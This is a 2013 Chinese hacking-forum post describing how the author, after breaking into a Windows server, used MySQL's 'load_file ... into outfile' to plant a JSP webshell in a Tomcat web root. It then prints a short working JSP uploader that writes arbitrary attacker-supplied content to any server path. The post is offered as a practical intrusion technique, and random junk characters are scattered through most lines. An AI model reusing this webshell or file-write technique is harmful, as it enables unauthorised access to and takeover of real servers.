找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2245|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
9 `$ x! i- w0 ?# w( c1 [) l$ d
5 ^- S" u3 ]( q. F; p; H* E# B首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
' n' |( X8 M% Y# e安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)% v+ h( \% L4 c7 S& t# t# _
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了1 R7 T8 i) a+ X, u+ {) D% B7 K
1 show variables like '%plugin%';0 r' r( p2 N0 V9 V7 i) ?
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功+ y, y5 w1 ~* P5 A
创建自定义函数似乎被拦截,一直失败。
6 t. D5 {5 Y# s/ x: B% X% J后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限( @, j# f! T. w# p4 J0 f
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp8 c" A: z: p1 ?# V' o1 }2 b
用mysql执行语句:0 b6 S8 F4 Y; S% K, T# X+ [
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
' U  s! v% E# ?4 i1 M5 y2 复制代码
7 C- M' B) A. |- y3 i0 I% d后成功。+ P( e/ @0 D- a  o) P! [  {
但是访问后得到如下提示:
  U! P) \8 Q6 Y( W​500页面
' T3 k. w' F% Q, N  ^
) V( E- Y9 _* q4 L; T- L8 {
0 D. n/ B) r, r% ^! g明显是MySQL的Win下版本自动添加转义符\n\r了4 x" Q& c" I7 @- z( J1 R+ w4 w
这样导致程序运行的悲剧。
: {* j: V- ^; e1 J" \+ f$ h从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。4 i+ ~3 u, E1 y3 t4 T0 ]
最后弄了这么个小脚本:
: E6 i# F* l8 Z' }( U" D* u& [4 e+ W01 <%@ page language="java" pageEncoding="gbk"%>9 \. |; r  D, c' U
02 <jsp:directive.page import="java.io.File"/>
# X# m! Q" K7 N3 Y" N2 t: e" |03 <jsp:directive.page import="java.io.OutputStream"/>* i. U+ d, p9 E0 r5 r4 [
04 <jsp:directive.page import="java.io.FileOutputStream"/>. R$ w; g# F3 ^9 n4 D! }
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
# d" X' I: z9 t" @% l06 error www.2cto.com8 M, h+ v0 r/ A0 {0 U% @" r
07 <%}}if(i==0){%>! }' B. {* S6 j' r4 g2 ]
08 ok1 f, h- [9 s+ B* s+ Y: o
09 <%}%>4 y, T9 r8 M4 {$ ]1 Z# K' E6 s
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
$ s- v2 O" [+ p7 c就可以避免转义符让JSP的马儿运行500错误了。
0 R/ ?$ p3 M' V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表